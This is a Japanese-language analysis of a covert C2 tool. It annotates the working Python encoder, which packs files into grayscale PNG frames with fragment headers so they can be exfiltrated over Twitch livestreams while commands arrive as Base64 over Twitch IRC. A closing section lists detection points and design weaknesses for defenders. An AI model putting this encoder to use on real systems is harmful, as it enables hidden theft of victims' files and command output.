HEADER_BYTES = HEADER_FIXED_BYTES + HEADER_EXTRA           # ← 合計: 21 + 258 = 279バイト
HEADER_NIBBLES = HEADER_BYTES * 2        # ← ニブル数: 279 × 2 = 558ニブル

encoder.py 16〜29行目)

ヘッダ構造の詳細:

ヘッダは各フラグメント画像の上部に描画され、デコーダがデータを正しく復元するために必要な全てのメタデータを格納する。合計 279 バイト(558 ニブル)で構成される。

ヘッダのバイナリレイアウト(279バイト = 558ニブル):

オフセット  サイズ  内容                    用途
─────────────────────────────────────────────────────────────────────
0x00       4B     payload_length          このフラグメントのペイロードサイズ(バイト)
0x04       2B     grid_cols               ペイロードグリッドの列数
0x06       2B     grid_rows               ペイロードグリッドの行数
0x08       4B     fragment_index          フラグメント番号(1始まり)
0x0C       4B     total_fragments         フラグメント総数
0x10       1B     border_thickness        外枠の太さ(ピクセル)
0x11       2B     image_width             画像全体の幅(ピクセル)
0x13       2B     image_height            画像全体の高さ(ピクセル)
─────────────────────────────────────────────────────────────────────
0x15       2B     file_name_length        ファイル名のバイト長
0x17       256B   file_name               ファイル名(UTF-8、パディング付き)
─────────────────────────────────────────────────────────────────────
合計:      279B

各フィールドはビッグエンディアン(big-endian)でエンコードされる。ビッグエンディアンとは、多バイトの数値を格納する際に最上位バイト(Most Significant Byte)を先頭(低いアドレス)に配置する方式である。例えば、値 1920(16 進数 0x0780)は 07 80 の順に格納される。ネットワークプロトコルでは一般的にビッグエンディアンが使用される(ネットワークバイトオーダーと呼ばれる)。

  • payload_length(4バイト): そのフラグメントに含まれるペイロード(実データ)のバイト数。デコーダはこの値を参照して、グリッドセルのうち何セルまでが有効なデータかを判断する。
  • grid_cols / grid_rows(各2バイト): ペイロードグリッドの列数と行数。デコーダがグリッドのセル位置を計算するために必要。
  • fragment_index / total_fragments(各4バイト): フラグメンテーション(データ分割)の制御情報。大きなファイルは 1 枚の画像に収まらないため、複数のフラグメントに分割される。fragment_index は現在のフラグメント番号(1 始まり)、total_fragments はフラグメント総数である。
  • border_thickness(1バイト): 外枠の太さ。デコーダがフォールバック処理(マーカー検出に失敗した場合の代替処理)でデータ領域を特定するために使用する。
  • image_width / image_height(各2バイト): 画像全体のピクセル寸法。フォールバック処理に使用される。
  • file_name_length + file_name(2 + 256バイト): 元のファイル名を UTF-8 エンコードで格納する。デコーダは復元したデータをこのファイル名で保存する。256 バイトに満たない場合はゼロバイト(\0)でパディングされる。

3.3 ニブル-グレースケール変換関数

def nibble_to_gray(nibble):
    """Map a nibble (0-15) to an 8-bit grayscale value."""
    return nibble * 17       # ← 0→0, 1→17, 2→34, ..., 15→255

encoder.py 31〜33行目)

この関数はエンコーダの核となる変換ロジックであり、4 ビットのニブル値(0〜15)を 8 ビットのグレースケール値(0〜255)にマッピングする。

変換表:

ニブル:  0   1   2   3   4   5   6   7   8   9  10  11  12  13  14  15
Gray:    0  17  34  51  68  85 102 119 136 153 170 187 204 221 238 255
Hex:   00  11  22  33  44  55  66  77  88  99  AA  BB  CC  DD  EE  FF

17 を掛ける理由を数学的に説明する。グレースケールの値域 [0, 255] を 16 等分すると、各区間の幅は 255 / 15 = 17 となる。したがって、ニブル値 n に対応するグレースケール値は n × 17 となり、0 から 255 まで均等に分布する。デコーダ側では逆変換として gray_value // 17(切り捨て除算)を行うことで、元のニブル値を復元できる。

3.4 外枠(ネストフレーム)描画関数

画像の外縁に「額縁」のような装飾的な枠を描画する関数である。

def draw_nested_frames(img, width, height, border, num_frames=2):
    """
    Draw nested (photo-frame style) borders in the outer border area.
    Each frame is drawn with a constant grayscale color.
    """
    frame_thickness = border // num_frames    # ← 各フレームの太さ: 20 // 2 = 10ピクセル
    for i in range(num_frames):      # ← 2重のフレームを描画
        left = i * frame_thickness   # ← フレーム左端の x 座標
        top = i * frame_thickness    # ← フレーム上端の y 座標
        right = width - i * frame_thickness - 1                 # ← フレーム右端の x 座標
        bottom = height - i * frame_thickness - 1               # ← フレーム下端の y 座標
        color = nibble_to_gray(i)    # ← i=0→色0(黒), i=1→色17(暗いグレー)
        # Top border.
        for y in range(top, top + frame_thickness):
            for x in range(left, right + 1):
                img.putpixel((x, y), color)   # ← 上辺を描画
        # Bottom border.
        for y in range(bottom - frame_thickness + 1, bottom + 1):
            for x in range(left, right + 1):
                img.putpixel((x, y), color)   # ← 下辺を描画
        # Left border.
        for x in range(left, left + frame_thickness):
            for y in range(top, bottom + 1):
                img.putpixel((x, y), color)   # ← 左辺を描画
        # Right border.
        for x in range(right - frame_thickness + 1, right + 1):
            for y in range(top, bottom + 1):
                img.putpixel((x, y), color)   # ← 右辺を描画

encoder.py 35〜62行目)

この関数は、border ピクセル幅の外枠領域に num_frames 個のネストしたフレーム(額縁)を描画する。デフォルト設定(border=20, num_frames=2)では、各フレームの太さは 20 // 2 = 10 ピクセルとなる。

画像のレイアウト(外枠部分の断面図):

  ←───────── width (1920px) ──────────→

  ┌────────────────────────────────────┐ ↑
  │ フレーム0 (color=0, 黒)  10px厚      │ │ border
  │ ┌────────────────────────────────┐ │ │ = 20px
  │ │ フレーム1 (color=17, 暗グレー)   │ │ │
  │ │ ┌────────────────────────────┐ │ │ ↓
  │ │ │                            │ │ │
  │ │ │    安全領域(safe region)    │ │ │
  │ │ │    ここにマーカーと          │ │ │
  │ │ │    データが配置される         │ │ │
  │ │ │                            │ │ │
  │ │ └────────────────────────────┘ │ │
  │ └────────────────────────────────┘ │
  └────────────────────────────────────┘

外側のフレーム(i=0)はグレースケール値 0(黒)、内側のフレーム(i=1)はグレースケール値 17(非常に暗いグレー)で描画される。この外枠は、配信プラットフォームによるクロッピング(端の切り落とし)やオーバースキャン(画面端の非表示領域)からデータ領域を保護する緩衝帯として機能する。

3.5 マーカーライン描画関数

安全領域(safe region)の境界に沿って 1 ピクセル幅のマーカーラインを描画する。これはデコーダがデータ領域の正確な位置を検出するための基準線である。

def draw_marker_lines(img, safe_x, safe_y, safe_width, safe_height, marker_color=MARKER_COLOR):
    """
    Draw 1-pixel-thick marker lines along the boundary of the safe region.
    These markers allow the decoder to determine the actual data region.
    """
    for x in range(safe_x, safe_x + safe_width):
        img.putpixel((x, safe_y), marker_color)# ← 上辺マーカー (y = safe_y)
        img.putpixel((x, safe_y + safe_height - 1), marker_color) # ← 下辺マーカー
    for y in range(safe_y, safe_y + safe_height):
        img.putpixel((safe_x, y), marker_color)# ← 左辺マーカー (x = safe_x)
        img.putpixel((safe_x + safe_width - 1, y), marker_color) # ← 右辺マーカー

encoder.py 64〜74行目)

マーカーラインの設計意図:

マーカーの色は 128(MARKER_COLOR)であり、ニブル値 0〜15 のいずれの変換値(0, 17, 34, ..., 255)とも一致しない。また外枠のフレーム色(0, 17)とも異なる。この一意性により、デコーダは画像内をスキャンしてマーカーラインを検出し、データ領域の正確な境界座標を特定できる。

マーカーラインと安全領域の関係:

  ┌───────────────────────────────────┐
  │ 外枠(border = 20px)              │
  │                                   │
  │    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓   ← 上辺マーカー (gray=128)
  │    ▓ ┌─────────────────────┐ ▓   │
  │    ▓ │ ヘッダ領域           │ ▓   ← 左辺      右辺
  │    ▓ │ (50px高)            │ ▓      マーカー  マーカー
  │    ▓ ├─────────────────────┤ ▓   │
  │    ▓ │                     │ ▓   │
  │    ▓ │ ペイロードグリッド    │ ▓   │
  │    ▓ │                     │ ▓   │
  │    ▓ └─────────────────────┘ ▓   │
  │    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓   ← 下辺マーカー (gray=128)
  │                                   │
  └───────────────────────────────────┘

映像ストリーミング中に画像のアスペクト比が変更されたり、わずかなクロッピングが発生した場合でも、マーカーラインが検出できる限りデータ領域の位置を正確に特定できる。マーカー検出が完全に失敗した場合のために、ヘッダにはフォールバック用のパラメータ(border_thickness, image_width, image_height)が格納されている。

3.6 フラグメントエンコード関数(中核関数)

encode_fragment() は encoder.py の中核関数であり、1 つのフラグメント(データの断片)を 1 枚の PNG 画像に変換する。この関数は処理が長いため、段階的に解析する。

3.6.1 データ領域の計算

def encode_fragment(fragment_data, output_file, image_width, image_height, border,
                    frag_index, total_fragments, file_name):
    # Overall safe region is the overall image minus the outer border.
    safe_width = image_width - 2 * border     # ← 安全領域の幅: 1920 - 40 = 1880
    safe_height = image_height - 2 * border   # ← 安全領域の高さ: 1080 - 40 = 1040
    if safe_width <= 2 or safe_height <= (HEADER_HEIGHT + 2):
        raise ValueError("Image dimensions too small ...")      # ← 最低限のサイズチェック

    # The data region is the safe region with a 1-pixel marker rim removed.
    data_x = border + 1       # ← データ領域左端: 20 + 1 = 21
    data_y = border + 1       # ← データ領域上端: 20 + 1 = 21
    data_width = safe_width - 2      # ← データ領域幅: 1880 - 2 = 1878
    data_height = safe_height - 2    # ← データ領域高さ: 1040 - 2 = 1038

encoder.py 76〜88行目)

ここでは、画像全体から実際にデータを格納する領域のピクセル座標とサイズを算出している。

  • 安全領域(safe region): 画像全体から外枠を除いた領域。幅 = 1920 - 2×20 = 1880px、高さ = 1080 - 2×20 = 1040px
  • データ領域(data region): 安全領域からマーカーライン(1px 幅)をさらに除いた領域。幅 = 1880 - 2 = 1878px、高さ = 1040 - 2 = 1038px
画像レイアウトの座標計算:

  (0,0) ────────────────────────────────── (1919,0)
  │                                              │
  │  外枠 20px                                    │
  │                                              │
  │    (20,20) = safe_x, safe_y                  │
  │    ▓▓▓▓▓▓▓ マーカー(1px) ▓▓▓▓▓▓▓▓          │
  │    ▓(21,21) = data_x, data_y      ▓          │
  │    ▓│                            │▓          │
  │    ▓│  data_width = 1878         │▓          │
  │    ▓│  data_height = 1038        │▓          │
  │    ▓│                            │▓          │
  │    ▓└────────────────────────────┘▓          │
  │    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓          │
  │                                              │
  └──────────────────────────────────────────────┘

3.6.2 グリッド寸法とペイロード容量の計算

    # Determine grid dimensions based on the minimum cell size.
    grid_cols = data_width // MIN_CELL        # ← グリッド列数: 1878 // 1 = 1878
    grid_rows = (data_height - HEADER_HEIGHT) // MIN_CELL       # ← グリッド行数: (1038 - 50) // 1 = 988
    total_cells = grid_cols * grid_rows       # ← 総セル数: 1878 × 988 = 1,855,464
    max_payload = total_cells // 2   # ← 最大ペイロード: 1,855,464 // 2 = 927,732バイト

    if len(fragment_data) > max_payload:
        raise ValueError("Fragment data exceeds maximum payload ...")

encoder.py 90〜96行目)

グリッドの概念: データ領域のうちヘッダを除いた部分(ペイロード領域)は、行と列のグリッドに分割される。各セルは 1 つのニブル(4 ビット)を格納する。MIN_CELL = 1 のため、セルのサイズは 1×1 ピクセルとなり、グリッドの寸法はペイロード領域のピクセル数そのものになる。

  • グリッド列数: 1878(= データ領域幅 ÷ MIN_CELL)
  • グリッド行数: 988(= (データ領域高さ - ヘッダ高さ) ÷ MIN_CELL)
  • 総セル数: 1,855,464
  • 最大ペイロード: 927,732 バイト(≒ 905 KB)

1 バイトは 2 ニブル(= 2 セル)で表現されるため、最大ペイロードは total_cells // 2 で算出される。フル HD(1920x1080)の画像 1 枚に約 905 KB のデータを格納できるということは、小さなテキストファイルや設定ファイルは 1 枚の画像に収まり、大きなバイナリファイル(実行ファイル等)は複数の画像に分割される。

3.6.3 ヘッダのバイナリ構築

    # Build header fixed part.
    header_bytes = (
        len(fragment_data).to_bytes(4, 'big') +                 # ← ペイロード長(4バイト、ビッグエンディアン)
        grid_cols.to_bytes(2, 'big') +        # ← グリッド列数(2バイト)
        grid_rows.to_bytes(2, 'big') +        # ← グリッド行数(2バイト)
        frag_index.to_bytes(4, 'big') +       # ← フラグメント番号(4バイト)
        total_fragments.to_bytes(4, 'big') +  # ← フラグメント総数(4バイト)
        border.to_bytes(1, 'big') +  # ← 外枠太さ(1バイト)
        image_width.to_bytes(2, 'big') +      # ← 画像幅(2バイト)
        image_height.to_bytes(2, 'big')       # ← 画像高さ(2バイト)
    )

    # Build file name field: 2 bytes for length + 256 bytes for file name.
    file_name_bytes = os.path.basename(file_name).encode('utf-8')  # ← ファイル名をUTF-8バイト列に変換
    if len(file_name_bytes) > FILENAME_FIELD_SIZE:
        file_name_bytes = file_name_bytes[:FILENAME_FIELD_SIZE]    # ← 256バイト超なら切り捨て
    file_name_field = (
        len(file_name_bytes).to_bytes(2, 'big') +                 # ← ファイル名長(2バイト)
        file_name_bytes.ljust(FILENAME_FIELD_SIZE, b'\0')          # ← 256バイトにゼロパディング
    )

    header_bytes += file_name_field     # ← 固定部分 + ファイル名フィールドを結合

    if len(header_bytes) != HEADER_BYTES:
        raise ValueError("Header byte count error.")               # ← サニティチェック: 279バイトであること

encoder.py 98〜119行目)

.to_bytes(n, 'big'): Python の整数メソッドで、整数値を n バイトのバイト列に変換する。'big' はビッグエンディアン(上位バイトが先頭)を指定する。例えば、1920.to_bytes(2, 'big')b'\x07\x80' を返す。

os.path.basename(file_name)(111行目): ファイルパスからファイル名部分のみを抽出する。例えば、/etc/passwd から passwd を取得する。これにより、Victim 側のディレクトリ構造が Attacker に漏洩しない...わけではないが、ヘッダのファイル名フィールドには相対名のみが格納される。

.ljust(FILENAME_FIELD_SIZE, b'\0')(114行目): ファイル名のバイト列を 256 バイトに拡張し、不足分をゼロバイト(\0)で埋める。これは固定長フィールドの設計であり、デコーダが常に決まったオフセットでヘッダの各フィールドを読み取れるようにしている。

3.6.4 ヘッダとペイロードのニブルストリーム変換

    # Convert header to nibble stream.
    header_nibbles = []
    for b in header_bytes:
        header_nibbles.append(b >> 4)# ← 上位4ビット(右に4ビットシフト)
        header_nibbles.append(b & 0x0F)       # ← 下位4ビット(0x0Fでマスク)

    # Convert payload to nibble stream.
    payload_nibbles_list = []
    for byte in fragment_data:
        payload_nibbles_list.append(byte >> 4)# ← 上位ニブル
        payload_nibbles_list.append(byte & 0x0F)                # ← 下位ニブル
    if len(payload_nibbles_list) < total_cells:
        payload_nibbles_list.extend( # ← 余ったセルは0(黒)で埋める
            [0] * (total_cells - len(payload_nibbles_list))
        )

encoder.py 121〜133行目)

ビット演算によるニブル分離:

  • b >> 4: バイト値を右に 4 ビットシフトする。これにより上位 4 ビットが下位 4 ビットの位置に移動し、上位ニブル(0〜15)が得られる。例: 0xA3 >> 4 = 0x0A = 10
  • b & 0x0F: バイト値と 0x0F(二進数 00001111)のビット AND を取る。これにより上位 4 ビットがマスクされ、下位ニブル(0〜15)のみが残る。例: 0xA3 & 0x0F = 0x03 = 3

ゼロパディング(132〜133行目): ペイロードのニブル数がグリッドの総セル数に満たない場合、残りのセルはニブル値 0(グレースケール値 0 = 黒)で埋められる。これにより画像上ではペイロードデータの後に黒い領域が広がる。

3.6.5 画像の描画

    # Create overall image.
    img = Image.new("L", (image_width, image_height), color=0)  # ← 黒で初期化されたグレースケール画像
    draw_nested_frames(img, image_width, image_height, border, num_frames=2)  # ← 外枠描画
    safe_x = border           # ← safe_x = 20
    safe_y = border           # ← safe_y = 20
    draw_marker_lines(img, safe_x, safe_y, safe_width, safe_height,
                      marker_color=MARKER_COLOR)                # ← マーカーライン描画

    # Draw header into the data region.
    header_cell_width = data_width / HEADER_NIBBLES             # ← ヘッダセル幅: 1878 / 558 ≈ 3.37px
    for i, nib in enumerate(header_nibbles):
        cell_left = data_x + round(i * data_width / HEADER_NIBBLES)       # ← セル左端(四捨五入)
        cell_right = data_x + round((i + 1) * data_width / HEADER_NIBBLES) # ← セル右端
        for y in range(data_y, data_y + HEADER_HEIGHT):  # ← ヘッダ高さ全域に描画
            for x in range(cell_left, cell_right):
                img.putpixel((x, y), nibble_to_gray(nib))       # ← ニブル値をグレースケールに変換して描画

encoder.py 135〜149行目)

ヘッダの描画方式: ヘッダの各ニブルは、データ領域の上部 50 ピクセル分の高さを持つ縦長のセルに描画される。各セルの幅は data_width / HEADER_NIBBLES ≈ 1878 / 558 ≈ 3.37 ピクセルであり、round() で整数化される。同じニブル値のグレースケール色が 50 ピクセルの高さにわたって描画されるため、デコーダはセルの中央のピクセルを読み取るだけで正確な値を取得できる。

    # Draw payload grid in the data region below the header.
    payload_area_top = data_y + HEADER_HEIGHT # ← ペイロード領域上端: 21 + 50 = 71
    for idx, nib in enumerate(payload_nibbles_list):
        r = idx // grid_cols  # ← 行番号(整数除算)
        c = idx % grid_cols   # ← 列番号(剰余)
        cell_left = data_x + round(c * data_width / grid_cols)       # ← セル左端
        cell_right = data_x + round((c + 1) * data_width / grid_cols) # ← セル右端
        cell_top = payload_area_top + round(r * (data_height - HEADER_HEIGHT) / grid_rows)    # ← セル上端
        cell_bottom = payload_area_top + round((r + 1) * (data_height - HEADER_HEIGHT) / grid_rows) # ← セル下端
        for y in range(cell_top, cell_bottom):
            for x in range(cell_left, cell_right):
                img.putpixel((x, y), nibble_to_gray(nib))       # ← グレースケール値でセルを塗りつぶし

    img.save(output_file, format="PNG")       # ← PNG形式で保存(ロスレス)

encoder.py 151〜164行目)

ペイロードグリッドの描画: ヘッダ領域の直下にペイロードデータを行優先(左→右、上→下)で配置する。MIN_CELL = 1 の場合、各セルは実質的に 1×1 ピクセルである(round() の誤差により一部のセルが 2 ピクセル幅になる場合がある)。

PNG 形式での保存: PNG はロスレス(無劣化)の画像圧縮形式であり、ピクセル値が変化しないことが保証される。JPEG のようなロッシー(非可逆圧縮)形式ではピクセル値が変化するため、ステガノグラフィのデータキャリアとしては使用できない。

3.7 main() — フラグメンテーションと実行制御

def main():
    parser = argparse.ArgumentParser(
        description="Optimized encoder with fragmentation support, ..."
    )
    parser.add_argument("input_file", help="Input file to encode")            # ← 位置引数: 入力ファイル
    parser.add_argument("output_file", help="Base output PNG filename")       # ← 位置引数: 出力PNGベース名
    parser.add_argument("--image_width", type=int, default=1920)              # ← 画像幅(デフォルト1920)
    parser.add_argument("--image_height", type=int, default=1080)             # ← 画像高さ(デフォルト1080)
    parser.add_argument("--border", type=int, default=DEFAULT_BORDER)         # ← 外枠太さ(デフォルト20)
    parser.add_argument("--req_id", type=str, help="Request ID")              # ← リクエストID
    parser.add_argument("--hex", action="store_true")       # ← 16進文字列入力モード
    args = parser.parse_args()

    if args.hex:
        with open(args.input_file, 'r') as f:
            data = bytes.fromhex(f.read().strip())              # ← 16進文字列をバイト列に変換
    else:
        with open(args.input_file, 'rb') as f:
            data = f.read()   # ← バイナリモードでファイル全体を読み込み

encoder.py 170〜188行目)

入力モードの切り替え: --hex フラグが指定された場合、入力ファイルの内容を 16 進文字列(例: 48656c6c6f)として解釈し、バイト列(b'Hello')に変換する。フラグなしの場合は、ファイルをそのままバイナリデータとして読み込む。通常のC2操作では --hex は使用されず、コマンド出力やファイルがバイナリモードで直接読み込まれる。

    # Compute maximum payload per image.
    safe_width = args.image_width - 2 * args.border             # ← 1920 - 40 = 1880
    safe_height = args.image_height - 2 * args.border           # ← 1080 - 40 = 1040
    data_width = safe_width - 2      # ← 1878(マーカー分を引く)
    data_height = safe_height - 2    # ← 1038
    payload_area_height = data_height - HEADER_HEIGHT            # ← 988(ヘッダ分を引く)
    grid_cols_max = data_width // MIN_CELL    # ← 1878
    grid_rows_max = payload_area_height // MIN_CELL             # ← 988
    total_cells = grid_cols_max * grid_rows_max                 # ← 1,855,464
    max_payload = total_cells // 2   # ← 927,732バイト ≈ 905KB

    total_data_len = len(data)
    total_fragments = math.ceil(total_data_len / max_payload)   # ← 必要フラグメント数(切り上げ)

encoder.py 190〜203行目)

フラグメント数の計算: math.ceil() は切り上げ除算を行う。例えば、入力データが 1,500,000 バイトで max_payload が 927,732 バイトの場合、ceil(1500000 / 927732) = 2 フラグメントが必要となる。

    orig_file_name = os.path.basename(args.input_file)          # ← 元のファイル名を保存

    for frag_index in range(1, total_fragments + 1):            # ← 1からフラグメント総数まで
        start = (frag_index - 1) * max_payload# ← データの開始オフセット
        end = start + max_payload    # ← データの終了オフセット
        fragment_data = data[start:end]       # ← フラグメントデータの切り出し
        if total_fragments > 1:
            base, ext = os.path.splitext(args.output_file)
            out_file = f"{base}_{frag_index:03d}{ext}"          # ← 複数フラグメント時: _001, _002 ...
        else:
            out_file = args.output_file       # ← 単一フラグメント: そのまま
        encode_fragment(fragment_data, out_file, args.image_width, args.image_height,
                        args.border, frag_index, total_fragments, orig_file_name)

encoder.py 206〜219行目)

フラグメンテーション(データ分割)のロジック:

  1. 入力データを max_payload バイトごとに分割する
  2. 各フラグメントに対して encode_fragment() を呼び出し、個別の PNG 画像を生成する
  3. 複数フラグメントの場合、出力ファイル名に連番(_001, _002, ...)を付加する。{frag_index:03d} は 3 桁のゼロ埋め書式指定で、001, 002, ... のように生成される。

コールチェーン:

main()
  → argparse でコマンドライン解析
  → 入力ファイル読み込み(バイナリ or hex)
  → max_payload 計算 → フラグメント数決定
  → for frag_index in range(1, total_fragments+1):
      → data[start:end] でフラグメントデータ切り出し
      → encode_fragment(fragment_data, out_file, ...)
          → safe/data 領域の座標計算
          → ヘッダバイナリ構築(279バイト)
          → header_bytes → ニブル列変換
          → fragment_data → ニブル列変換
          → Image.new() で画像生成
          → draw_nested_frames() で外枠描画
          → draw_marker_lines() でマーカー描画
          → ヘッダニブル列をグリッドセルとして描画
          → ペイロードニブル列をグリッドセルとして描画
          → img.save() で PNG 保存

参照

ID タイトル URL 対応箇所
1 Pillow Image Module — Pillow docs https://pillow.readthedocs.io/en/stable/reference/Image.html Image.new, putpixel, save
2 PNG Specification (ISO/IEC 15948) https://www.w3.org/TR/png/ PNG ロスレス圧縮の仕様
3 Chroma subsampling — Wikipedia https://en.wikipedia.org/wiki/Chroma_subsampling グレースケール採用の理由
4 int.to_bytes — Python docs https://docs.python.org/3/library/stdtypes.html#int.to_bytes バイト列変換

4. Victim側の弱点・改善余地・検知ポイント

4.1 ネットワーク検知ポイント

検知ポイント 検知手法 説明
IRC 接続 ネットワークフロー監視 irc.chat.twitch.tv:6667 への TCP 接続は平文 IRC であり、DPI(Deep Packet Inspection)で検知可能
RTMP 配信 ネットワークフロー監視 live.twitch.tv:1935 への RTMP 接続。業務環境でのライブ配信は異常な挙動として検知されうる
制御シグナル チャットログ解析 "OK" / "READY" の制御メッセージは平文であり、IRC トラフィックの監視で発見できる
Base64 コマンド パターンマッチ IRC チャットに送信される Base64 文字列は、一般的なチャットメッセージとはエントロピー(情報量の均一性)が異なり、統計的検知が可能

4.2 ホスト検知ポイント

検知ポイント 検知手法 説明
ffmpeg プロセス プロセス監視(EDR) ffmpeg が引数に rtmp://live.twitch.tv を含む場合、異常なプロセス起動として検知可能
一時ファイル生成 ファイルシステム監視 大量の PNG ファイルと MP4 ファイルの急速な生成・削除パターン
shell=True のコマンド実行 コマンドライン監視 subprocess.run(command, shell=True) による任意コマンド実行は、EDR のコマンドライン監視で検知される
Python プロセスツリー プロセスツリー解析 python victim.pypython encoder.pyffmpegffmpeg(配信)という特徴的なプロセスチェーン

4.3 設計上の弱点

  1. 制御信号が平文: "OK" / "READY" の制御メッセージが暗号化もエンコードもされていないため、IRC チャットの他の参加者にも見える。さらに、第三者がこれらのメッセージを送信することでプロトコルを妨害できる。

  2. ブランクフレームのソート順依存: blank.png がアルファベット順で最初にソートされることを前提としているが、UID が 09a で始まる場合にはこの前提が崩れる。

  3. 暗号化の欠如: コマンドは Base64 でエンコードされるのみで、暗号化されていない。Base64 はエンコーディング(表現形式の変換)であって暗号化(秘密鍵による保護)ではないため、傍受されれば内容を即座に復号できる。

  4. フォレンジック対策の不十分さ: os.remove() によるファイル削除はファイルシステムのエントリを削除するだけで、ディスク上のデータは物理的に上書きされるまで残存する。セキュアデリート(データの物理的上書き)は実装されていない。

  5. エラー回復の欠如: Attacker からの "OK" 応答を待つループにタイムアウトが設定されておらず(while Truetimeout=10 は listen のタイムアウトであり、ループ自体は無限)、Attacker が応答しない場合に永久に待ち続ける。

  6. 認証の欠如: IRC チャンネルに参加できる任意のユーザーが Base64 エンコードされたコマンドを送信でき、Victim はその送信者を検証しない。つまり、チャンネル名と Base64 フォーマットを知る第三者がコマンドを注入できる。